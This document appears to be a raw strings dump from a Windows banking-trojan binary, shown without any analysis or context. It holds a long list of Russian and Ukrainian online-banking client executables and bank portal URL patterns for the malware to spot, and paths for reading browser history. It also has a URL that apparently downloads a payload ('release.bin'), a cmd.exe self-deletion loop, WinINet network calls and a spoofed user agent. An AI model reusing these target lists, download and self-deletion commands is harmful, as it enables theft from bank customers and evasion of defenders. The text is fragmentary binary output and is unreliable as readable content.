appdata.SELECT Name FROM Win32_Process...desktop...CommonProgramFiles..documents...CommonProgramFiles(x86).profile.CommonProgramW6432..commonfiles32...commonfiles64...localappdata....userprofile.ProgramFiles....ProgramFiles(x86)...ProgramW6432....programfiles32..programfiles64..systemdrive...p-client.exe.prclient.exe.rclient.exe.saclient.exe.SRCLBClient.exe.twawebclient.exe.vegaClient.exe.dsstart.exe.dtpaydesk.exe.eelclnt.exe.elbank.exe.etprops.exe.eTSrv.exe.ibconsole.exe.kb_cli.exe.KLBS.exe.KlientBnk.exe.lfcpaymentais.exe.loadmain.exe.lpbos.exe.mebiusbankxp.exe.mmbank.exe.pcbank.exe.pinpayr.exe.Pionner.exe.pkimonitor.exe.pmodule.exe.pn.exe.postmove.exe.productprototype.exe.quickpay.exe.rclaunch.exe.retail.exe.retail32.exe.translink.exe.unistream.exe.uralprom.exe.w32mkde.exe.wclnt.exe.wfinist.exe.winpost.exe.wupostagent.exe.Zvit1DF.exe.BC_Loader.exe.Client2008.exe.IbcRemote31.exe._ftcgpk.exe.scardsvr.exe.CL_1070002.exe.intpro.exe.UpMaster.exe.SGBClient.exe.el_cli.exe.MWClient32.exe.ADirect.exe.BClient.exe.bc.exe.ant.exe.arm.exe.arm_mt.exe.ARMSH95.EXE.asbank_lite.exe.bank.exe.bank32.exe.bbms.exe.bk.exe.BK_KW32.EXE.bnk.exe.CB.exe.cb193w.exe.cbank.exe.cbmain.ex.CBSMAIN.exe.CbShell.exe.clb.exe.CliBank.exe.CliBankOnlineEn.exe.CliBankOnlineRu.exe.CliBankOnlineUa.exe.client2.exe.client6.exe.clientbk.exe.clntstr.exe.clntw32.exe.contactng.exe.Core.exe.cshell.exe.cyberterm.exe.client.exe.cncclient.exe.bbclient.exe.EximClient.exe.fcclient.exe.iscc.exe.kabinet.exe.SrCLBStart.exe.srcbclient.exe.Upp_4.exe.Bankline.EXE.GeminiClientStation.exe._ClientBank.exe.ISClient.exe.cws.exe.CLBANK.EXE.IMBLink32.exe.cbsmain.dll.GpbClientSftcws.exe.Run.exe.SGBClient.ex.sx_Doc_ni.exe.icb_c.exe.Client32.exe.BankCl.exe.ICLTransportSystem.exe.GPBClient.exe.CLMAIN.exe.ONCBCLI.exe.CLBank3.exe.rmclient.exe.FColseOW.exe.RkcLoader.exe....%PROFILE%...iBank2..%APPDATA%...%DESKTOP%...amicon,bifit,*bss,*ibank........%PROGRAMFILES32%....%SYSTEMDRIVE%...*...*\......*gpb,inist,mdm,bifit,Aladdin,Amicon,*bss,Signal-COM,iBank2,*\bc.exe,*\*\intpro.exe,*cft,agava,*R-Style,*AKB Perm....*ELBA,*ELBRUS...%PROGRAMFILES64%...*gpb,inist,mdm,bifit,Aladdin,Amicon,*bss,Signal-COM,iBank2,*\bc.exe,*\*\intpro.exe,*cft,agava,*R-Style,*AKB Perm....visited:....*SFT,*Agava,*Clnt,*CLUNION.0QT,*5NT,*BS,*ELBA,*Bank,ICB_C,*sped,*gpb...*ICPortalSSL*.*isfront.priovtb.com*.*ISAPIgate.dll*.*bsi.dll*.*PortalSSL*.*IIS-Gate.dll*.*beta.mcb.ru*.*ibank*.*ibrs*.*iclient*.*e-plat.mdmbank.com*.*sberweb.zubsb.ru*. *ibc*.*elbrus*.*i-elba*.*clbank.minbank.ru*.*chelindbank.ru/online/*.*uwagb*.*wwwbank*.*dbo*.*ib.*...http://rozhlas.site/news/business/release.bin..http...cmd.exe /C for /l %%x in (0,0,0) do (ping -n 3 127.0.0.1 > NUL & for %%p in ("%s") do (del /f /q %%p & if not exist %%p exit)) %localappdata%\Google\Chrome\User Data\Default\History..wininet.%appdata%\Google\Chrome\User Data\Default\History...HttpQueryInf..http://microsoft.com/.......%appdata%\Mozilla\Firefox\Profiles..*/*.GET.....*\places.sqlite.%appdata%\Opera\Opera\global_history.dat...InternetCheckConnectionA....InternetOpenA.......InternetCloseHandle.....InternetConnectA...HttpOpenRequestA....HttpSendRequestA...InternetReadFileExA.....Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u;%s Trident/4.0)